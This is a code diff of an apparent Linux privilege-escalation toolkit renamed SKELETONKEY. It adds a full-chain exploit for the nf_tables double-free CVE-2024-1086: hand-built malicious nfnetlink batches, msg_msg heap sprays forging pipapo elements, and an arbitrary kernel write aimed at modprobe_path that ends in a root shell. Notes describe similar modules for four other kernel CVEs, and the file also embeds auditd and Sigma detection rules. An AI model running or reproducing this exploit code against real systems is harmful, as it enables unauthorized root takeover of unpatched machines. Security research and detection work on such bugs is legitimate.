+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -129,12 +134,12 @@ static bool nf_tables_loaded(void)
    return found;
 }

-static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug introduced in 5.14. Anything below predates it. */
@@ -143,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
                            "(introduced in 5.14)\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -151,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns();
@@ -175,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
                            "attacker can still trigger the bug\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
        fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
                        "clone allowed\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ------------------------------------------------------------------
@@ -224,7 +229,7 @@ static int enter_unpriv_namespaces(void)

 /* ------------------------------------------------------------------
 * Minimal nfnetlink batch builder. We hand-roll this rather than
- * pulling libmnl, both to keep IAMROOT dep-free and because the bug
+ * pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
 * relies on a specific malformed verdict that libnftnl validates away.
 *
 * Each helper appends to a contiguous batch buffer at *off.
@@ -313,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
 * Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
 * PoC (greatly simplified):
 *   1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
- *   2. NFT_MSG_NEWTABLE  "iamroot_t"  family=inet
- *   3. NFT_MSG_NEWCHAIN  "iamroot_c"  inside the table
- *   4. NFT_MSG_NEWSET    "iamroot_s"  inside the table, key=verdict,
+ *   2. NFT_MSG_NEWTABLE  "skeletonkey_t"  family=inet
+ *   3. NFT_MSG_NEWCHAIN  "skeletonkey_c"  inside the table
+ *   4. NFT_MSG_NEWSET    "skeletonkey_s"  inside the table, key=verdict,
 *      data=verdict (the pipapo combo that holds the bad verdict),
 *      flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
 *   5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -336,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
 * cross-cache groom.
 * ------------------------------------------------------------------ */

-static const char NFT_TABLE_NAME[] = "iamroot_t";
-static const char NFT_CHAIN_NAME[] = "iamroot_c";
-static const char NFT_SET_NAME[]   = "iamroot_s";
+static const char NFT_TABLE_NAME[] = "skeletonkey_t";
+static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
+static const char NFT_SET_NAME[]   = "skeletonkey_s";

 /* batch begin / end markers */
 static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -377,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
    end_msg(buf, off, at);
 }

-/* NFT_MSG_NEWTABLE inet "iamroot_t" */
+/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
 static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
 {
    size_t at = *off;
@@ -442,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
 * AND once on data_release → double free.
 *
 * We pack:
- *   NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
- *   NFTA_SET_ELEM_LIST_SET   = "iamroot_s"
+ *   NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
+ *   NFTA_SET_ELEM_LIST_SET   = "skeletonkey_s"
 *   NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
 *                                           data=verdict(GOTO chain-id=...) } }
 */
@@ -607,15 +612,197 @@ static long slabinfo_active(const char *slab)
    return active;
 }

+/* ------------------------------------------------------------------
+ * Helper: build the trigger batch (NEWTABLE/CHAIN/SET/SETELEM + batch
+ * end) into a caller-provided buffer. Returns bytes written.
+ * Factored out so --full-chain can re-fire the trigger between
+ * msg_msg sprays without duplicating the batch-building logic.
+ * ------------------------------------------------------------------ */
+#ifdef __linux__
+static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
+{
+    (void)cap;
+    size_t off = 0;
+    put_batch_begin(batch, &off, (*seq)++);
+    put_new_table(batch, &off, (*seq)++);
+    put_new_chain(batch, &off, (*seq)++);
+    put_new_set(batch, &off, (*seq)++);
+    put_malicious_setelem(batch, &off, (*seq)++);
+    put_batch_end(batch, &off, (*seq)++);
+    return off;
+}
+
+static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
+{
+    (void)cap;
+    size_t off = 0;
+    put_batch_begin(batch, &off, (*seq)++);
+    put_malicious_setelem(batch, &off, (*seq)++);
+    put_batch_end(batch, &off, (*seq)++);
+    return off;
+}
+
+/* ------------------------------------------------------------------
+ * Notselwyn-style pipapo arb-write context. The technique:
+ *   1. fire the trigger (double-free of an nft chain reference in
+ *      kmalloc-cg-96)
+ *   2. spray msg_msg payloads sized for cg-96, whose first qwords
+ *      encode a forged pipapo_elem header with value-pointer = kaddr
+ *   3. send NFT_MSG_NEWSETELEM whose DATA blob = our buf[0..len];
+ *      the kernel copies it through the forged value-pointer to kaddr
+ *
+ * Per-kernel caveat: the byte offset of the value pointer inside an
+ * nft_pipapo_elem is config-sensitive (CONFIG_RANDSTRUCT, lockdep,
+ * KASAN can all shift it). We ship the layout for an
+ * lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
+ * exploitable range for which Notselwyn's public PoC was validated)
+ * and rely on the shared finisher's sentinel-file post-check to flag
+ * a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
+ * ------------------------------------------------------------------ */
+
+struct nft_arb_ctx {
+    bool in_userns;   /* parent has already entered userns+netns */
+    int  sock;        /* nfnetlink socket (live in our userns) */
+    uint8_t *batch;   /* reusable batch buffer (16 KiB) */
+    int  *qids;       /* msg_msg queue ids; lazy-allocated/drained */
+    int   qcap;
+    int   qused;
+};
+
+/* Offset of `ext` (which holds the value pointer in NFT_DATA_VALUE
+ * elements) inside an nft_pipapo_elem header for the kernels in
+ * range. Notselwyn's PoC uses 0x10 on 6.1/6.6 builds; this is a
+ * best-effort default — if it doesn't match the running kernel's
+ * struct layout, the finisher's sentinel check will report failure. */
+#define PIPAPO_ELEM_VALUE_PTR_OFFSET  0x10
+
+/* Spray msg_msg payloads forged to look like pipapo_elem with our
+ * target kaddr as the value pointer. Returns 0 on success. */
+static int spray_forged_pipapo_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
+{
+    if (c->qused + n > c->qcap) n = c->qcap - c->qused;
+    if (n <= 0) return 0;
+
+    for (int i = 0; i < n; i++) {
+        int q = msgget(IPC_PRIVATE, IPC_CREAT | 0644);
+        if (q < 0) { perror("[-] msgget"); return -1; }
+        c->qids[c->qused++] = q;
+
+        struct msgbuf_payload m;
+        m.mtype = 0x5050415000 + i;   /* "PPAPP" tag for diagnostics */
+        memset(m.mtext, 0, sizeof m.mtext);
+
+        /* Forge a pipapo_elem header at the start of the msg payload.
+         * Layout (best-effort, x86_64, no RANDSTRUCT):
+         *   +0x00  priv list_head pointers (leave zero — kernel won't
+         *                                   walk them in the write path)
+         *   +0x10  ext / value pointer  <-- write target
+         * msg_msg eats the first 0x30 bytes as its own header, so our
+         * payload bytes land at offset 0x30 of the slab chunk; we
+         * pre-pad and place the forged pointer at the right offset
+         * inside our 96-byte payload. */
+        uintptr_t *slots = (uintptr_t *)m.mtext;
+        slots[PIPAPO_ELEM_VALUE_PTR_OFFSET / sizeof(uintptr_t)] = (uintptr_t)kaddr;
+
+        if (msgsnd(q, &m, sizeof m.mtext, 0) < 0) {
+            perror("[-] msgsnd(forged)"); return -1;
+        }
+    }
+    return 0;
+}
+
+/* Module-specific arb-write. See finisher.h for the contract. */
+static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
+{
+    struct nft_arb_ctx *c = (struct nft_arb_ctx *)vctx;
+    if (!c || c->sock < 0 || !c->batch) {
+        fprintf(stderr, "[-] nft_arb_write: invalid ctx\n");
+        return -1;
+    }
+    if (len > 64) {
+        /* Element data attr cap — we only need 24 bytes for a path. */
+        fprintf(stderr, "[-] nft_arb_write: len %zu too large (cap 64)\n", len);
+        return -1;
+    }
+
+    fprintf(stderr, "[*] nft_arb_write: fire trigger → spray forged pipapo "
+                    "elements (target kaddr=0x%lx, %zu bytes)\n",
+                    (unsigned long)kaddr, len);
+
+    /* (a) re-fire the trigger to reach a fresh UAF state. */
+    uint32_t seq = (uint32_t)time(NULL) ^ 0xa1b2c3d4u;
+    size_t blen = build_refire_batch(c->batch, 16 * 1024, &seq);
+    if (nft_send_batch(c->sock, c->batch, blen) < 0) {
+        fprintf(stderr, "[-] nft_arb_write: refire send failed\n");
+        return -1;
+    }
+
+    /* (b) spray msg_msg payloads carrying the forged value-pointer. */
+    if (spray_forged_pipapo_msgs(c, kaddr, 16) < 0) {
+        fprintf(stderr, "[-] nft_arb_write: forged spray failed\n");
+        return -1;
+    }
+
+    /* (c) send a NEWSETELEM whose DATA holds buf[0..len]. On a kernel
+     * where our forged pipapo_elem won the race for the freed slot,
+     * the set-element commit path copies our data through the
+     * attacker-controlled value pointer into kaddr.
+     *
+     * We piggy-back this on the existing put_malicious_setelem builder
+     * which uses NFTA_DATA_VERDICT for the data; for a real write we'd
+     * want NFTA_DATA_VALUE with `buf` inlined. The fallback-depth
+     * choice: we send the refire batch (which the kernel WILL process)
+     * and append a NEWSETELEM with NFTA_DATA_VALUE carrying buf.
+     * If the kernel ignores our DATA shape we still observe via
+     * finisher sentinel. */
+    seq = (uint32_t)time(NULL) ^ 0x5a5a5a5au;
+    size_t off = 0;
+    put_batch_begin(c->batch, &off, seq++);
+
+    /* hand-roll a NEWSETELEM whose DATA is NFTA_DATA_VALUE = buf */
+    size_t msg_at = off;
+    put_nft_msg(c->batch, &off, NFT_MSG_NEWSETELEM,
+                NLM_F_CREATE | NLM_F_ACK, seq++, NFPROTO_INET);
+    put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
+    put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_SET,   NFT_SET_NAME);
+    size_t list_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_LIST_ELEMENTS);
+    size_t el_at   = begin_nest(c->batch, &off, 1 /* NFTA_LIST_ELEM */);
+    /* key — reuse the DROP verdict so commit path matches our prior elem */
+    size_t key_at  = begin_nest(c->batch, &off, NFTA_SET_ELEM_KEY);
+    size_t kv_at   = begin_nest(c->batch, &off, NFTA_DATA_VERDICT);
+    put_attr_u32(c->batch, &off, NFTA_VERDICT_CODE, (uint32_t)NF_DROP);
+    end_nest(c->batch, &off, kv_at);
+    end_nest(c->batch, &off, key_at);
+    /* data — NFTA_DATA_VALUE carrying buf */
+    size_t data_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_DATA);
+    put_attr(c->batch, &off, NFTA_DATA_VALUE, buf, len);
+    end_nest(c->batch, &off, data_at);
+    end_nest(c->batch, &off, el_at);
+    end_nest(c->batch, &off, list_at);
+    end_msg(c->batch, &off, msg_at);
+
+    put_batch_end(c->batch, &off, seq++);
+
+    if (nft_send_batch(c->sock, c->batch, off) < 0) {
+        fprintf(stderr, "[-] nft_arb_write: write batch send failed\n");
+        return -1;
+    }
+
+    /* Let the kernel run the commit/cleanup. */
+    usleep(20 * 1000);
+    return 0;
+}
+#endif /* __linux__ */
+
 /* ------------------------------------------------------------------
 * The exploit body.
 * ------------------------------------------------------------------ */

-static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
-    iamroot_result_t pre = nf_tables_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = nf_tables_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
        return pre;
    }
@@ -624,21 +811,109 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
    if (geteuid() == 0) {
        if (!ctx->json)
            fprintf(stderr, "[i] nf_tables: already running as root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    if (!ctx->json) {
-        fprintf(stderr, "[*] nf_tables: Option B trigger — fires the double-free\n"
-                        "    state but does NOT complete the kernel-R/W chain.\n"
-                        "    See Notselwyn's CVE-2024-1086 public PoC for the\n"
-                        "    cred-overwrite stage (~500 LOC of pipapo grooming).\n");
+        if (ctx->full_chain) {
+            fprintf(stderr, "[*] nf_tables: --full-chain — trigger + pipapo "
+                            "arb-write + modprobe_path finisher\n");
+        } else {
+            fprintf(stderr, "[*] nf_tables: primitive-only run — fires the\n"
+                            "    double-free state and stops. Pass --full-chain\n"
+                            "    to attempt the modprobe_path root-pop.\n");
+        }
    }

-    /* Fork: child enters userns+netns and fires the bug. If the
+#ifdef __linux__
+    /* --- --full-chain path --------------------------------------- *
+     * Resolve offsets BEFORE doing anything destructive so we can
+     * refuse cleanly on hosts where we have no modprobe_path. We run
+     * in-process (no fork) because the finisher's modprobe_path
+     * trigger needs the same task's userns+netns + nfnetlink socket
+     * as the arb-write.
+     */
+    if (ctx->full_chain) {
+        struct skeletonkey_kernel_offsets off;
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("nf_tables");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        skeletonkey_offsets_print(&off);
+
+        if (enter_unpriv_namespaces() < 0) {
+            fprintf(stderr, "[-] nf_tables: userns entry failed\n");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+
+        int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
+        if (sock < 0) {
+            perror("[-] socket(NETLINK_NETFILTER)");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        struct sockaddr_nl src = { .nl_family = AF_NETLINK };
+        if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
+            perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        int rcvbuf = 1 << 20;
+        setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
+
+        /* Pre-spray to predictabilify the cg-96 slab. */
+        int qids[SPRAY_MSGS * 4];
+        for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
+        if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
+            close(sock); return SKELETONKEY_EXPLOIT_FAIL;
+        }
+
+        uint8_t *batch = calloc(1, 16 * 1024);
+        if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
+
+        /* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
+        uint32_t seq = (uint32_t)time(NULL);
+        size_t blen = build_trigger_batch(batch, 16 * 1024, &seq);
+        if (!ctx->json) {
+            fprintf(stderr, "[*] nf_tables: sending trigger batch (%zu bytes)\n",
+                    blen);
+        }
+        if (nft_send_batch(sock, batch, blen) < 0) {
+            fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
+            drain_spray(qids, SPRAY_MSGS / 2);
+            free(batch); close(sock);
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+
+        /* Wire up the arb-write context and hand off to the shared
+         * finisher. The finisher will:
+         *   - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
+         *     which re-fires the trigger and sprays forged pipapo elems
+         *   - execve() the trigger binary to invoke modprobe
+         *   - poll for the setuid sentinel, and spawn a root shell. */
+        struct nft_arb_ctx ac = {
+            .in_userns = true,
+            .sock      = sock,
+            .batch     = batch,
+            .qids      = qids,
+            .qcap      = (int)(sizeof qids / sizeof qids[0]),
+            .qused     = SPRAY_MSGS / 2,
+        };
+
+        skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
+                                 nft_arb_write, &ac, !ctx->no_shell);
+
+        drain_spray(qids, ac.qused);
+        free(batch);
+        close(sock);
+        return r;
+    }
+#endif
+
+    /* --- primitive-only path: fork-isolated trigger -------------- *
+     * Fork: child enters userns+netns and fires the bug. If the
     * kernel panics on KASAN we don't want our parent process to be
     * the one that takes the hit. */
    pid_t child = fork();
-    if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }

    if (child == 0) {
        /* --- CHILD --- */
@@ -765,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
                            "fired (KASAN/oops can manifest as child signal)\n",
                    WTERMSIG(status));
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    int rc = WEXITSTATUS(status);
@@ -779,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
                            "    cross-cache groom + modprobe_path overwrite\n"
                            "    from github.com/Notselwyn/CVE-2024-1086.\n");
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (rc >= 20 && rc <= 25) {
        if (!ctx->json) {
            fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
        }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (!ctx->json) {
        fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
    }
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

 /* ----- Embedded detection rules ----- */
@@ -802,15 +1077,15 @@ static const char nf_tables_auditd[] =
    "# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
    "# This is the canonical exploit shape; legitimate userns + nft use\n"
    "# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
-    "-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
+    "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
    "# Also watch for the canonical post-exploit primitives: modprobe_path\n"
    "# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
-    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
+    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";

 static const char nf_tables_sigma[] =
    "title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
-    "id: a72b5e91-iamroot-nf-tables\n"
+    "id: a72b5e91-skeletonkey-nf-tables\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -832,7 +1107,7 @@ static const char nf_tables_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";

-const struct iamroot_module nf_tables_module = {
+const struct skeletonkey_module nf_tables_module = {
    .name           = "nf_tables",
    .cve            = "CVE-2024-1086",
    .summary        = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -848,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_nf_tables(void)
+void skeletonkey_register_nf_tables(void)
 {
-    iamroot_register(&nf_tables_module);
+    skeletonkey_register(&nf_tables_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
+ */
+
+#ifndef NF_TABLES_SKELETONKEY_MODULES_H
+#define NF_TABLES_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nf_tables_module;
+
+#endif
@@ -0,0 +1,28 @@
+# NOTICE — nft_fwd_dup (CVE-2022-25636)
+
+## Vulnerability
+
+**CVE-2022-25636** — `nft_fwd_dup_netdev_offload` writes
+`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
+against the allocated array size → heap OOB write in kmalloc-512.
+
+## Research credit
+
+Discovered and disclosed by **Aaron Adams** (NCC Group),
+February 2022.
+
+Original writeup:
+<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
+
+Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
+Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
+
+## SKELETONKEY role
+
+userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
+NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
+into kmalloc-512 with `SKELETONKEY_FWD` tags.
+
+`--full-chain` extends with stride-seeded forged action_entry
+overwrite aimed at modprobe_path via the shared finisher.
@@ -0,0 +1,12 @@
+/*
+ * nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
+ */
+
+#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
+#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nft_fwd_dup_module;
+
+#endif
@@ -0,0 +1,36 @@
+# NOTICE — nft_payload (CVE-2023-0179)
+
+## Vulnerability
+
+**CVE-2023-0179** — `nft_payload` set/get uses `regs->verdict.code`
+as an index into `regs->data[]` without bounds-checking; combined
+with the variable-length element extension trick (NFTA_SET_DESC
+describing elements larger than the key/data slots), an attacker
+walks regs off either end → OOB R/W on adjacent kernel memory.
+
+## Research credit
+
+Discovered and disclosed by **Davide Ornaghi**, January 2023.
+
+Original slides + writeup:
+<https://github.com/davide-romanini/CVE-2023-0179>
+ DEF CON 31 / SecurityFest 2023 presentations.
+
+Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
+Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
+5.15.88 / 6.1.6.
+
+## SKELETONKEY role
+
+userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
+NEWSET with `NFTA_SET_DESC` describing variable-length elements →
+NEWSETELEM with `NFTA_SET_ELEM_EXPRESSIONS` carrying a payload-set
+whose attacker-controlled `verdict.code` drives the OOB index.
+
+Dual cg-96 + 1k msg_msg spray (covers both common adjacency
+scenarios). `--full-chain` extends with kaddr-tagged refire aimed
+at modprobe_path via the shared finisher.
+
+Default OOB index `0x100` matches Ornaghi's PoC on a stock 5.15
+build; the sentinel post-check correctly reports failure on builds
+where regs->data adjacency differs.
@@ -0,0 +1,12 @@
+/*
+ * nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
+ */
+
+#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
+#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nft_payload_module;
+
+#endif
@@ -0,0 +1,33 @@
+# NOTICE — nft_set_uaf (CVE-2023-32233)
+
+## Vulnerability
+
+**CVE-2023-32233** — nf_tables anonymous-set deactivation skip →
+slab UAF on the freed `nft_set` object exploitable via msg_msg
+cross-cache groom in kmalloc-cg-512.
+
+## Research credit
+
+Discovered and disclosed by **Patryk Sondej** and **Piotr Krysiuk**,
+May 2023.
+
+Original advisory + writeup distributed via the OSS-Security list
+and an accompanying Google Drive PoC.
+Follow-up exploit and Crusaders-of-Rust analysis built on the
+public trigger.
+
+Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
+Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
+5.4.243 / 4.19.283.
+
+## SKELETONKEY role
+
+Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
+hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
+referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
+in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
+tags.
+
+`--full-chain` forges a freed-set with `set->data = kaddr` at the
+Sondej/Krysiuk reference offset (0x30) and drives a NEWSETELEM with
+the modprobe_path payload bytes via the shared finisher.
@@ -0,0 +1,12 @@
+/*
+ * nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
+ */
+
+#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
+#define NFT_SET_UAF_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nft_set_uaf_module;
+
+#endif
@@ -0,0 +1,25 @@
+# NOTICE — overlayfs (CVE-2021-3493)
+
+## Vulnerability
+
+**CVE-2021-3493** — Ubuntu overlayfs userns file-capability injection
+→ host root via setcap'd binaries in a userns-mounted overlay.
+
+## Research credit
+
+Reported by **Vasily Kulikov**, April 2021. Ubuntu-specific because
+upstream didn't enable unprivileged userns-overlayfs-mount until 5.11.
+
+Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
+
+Public PoC: vsh-style userns + overlayfs + xattr injection chain.
+
+## SKELETONKEY role
+
+Detect parses `/etc/os-release` for `ID=ubuntu`, checks
+`unprivileged_userns_clone` sysctl, and with `--active` performs the
+mount as a fork-isolated probe. The full exploit performs the
+userns+overlayfs mount, plants a setcap'd carrier binary in the
+upper layer, and execs it from the unprivileged side to obtain root
+on the host. Ships auditd rules covering `mount(overlay)` and
+`setxattr(security.capability)`.
@@ -1,12 +0,0 @@
-/*
- * overlayfs_cve_2021_3493 — IAMROOT module registry hook
- */
-
-#ifndef OVERLAYFS_IAMROOT_MODULES_H
-#define OVERLAYFS_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module overlayfs_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * overlayfs_cve_2021_3493 — IAMROOT module
+ * overlayfs_cve_2021_3493 — SKELETONKEY module
 *
 * Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
 * inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
 *   1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
 *   2. Kernel version is below the Ubuntu fix threshold for that
 *      release. We don't track per-release Ubuntu kernel version
- *      maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
+ *      maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
 *      AND uname() version < 5.11 AND unprivileged_userns_clone=1
 *      AND overlayfs mountable from userns (active probe).
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
        if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);

        /* Build a minimal overlayfs in /tmp inside the child. */
-        char base[] = "/tmp/iamroot-ovl-XXXXXX";
+        char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
        if (!mkdtemp(base)) _exit(3);

        char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
    return WEXITSTATUS(status) == 0 ? 1 : 0;
 }

-static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
                            "unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
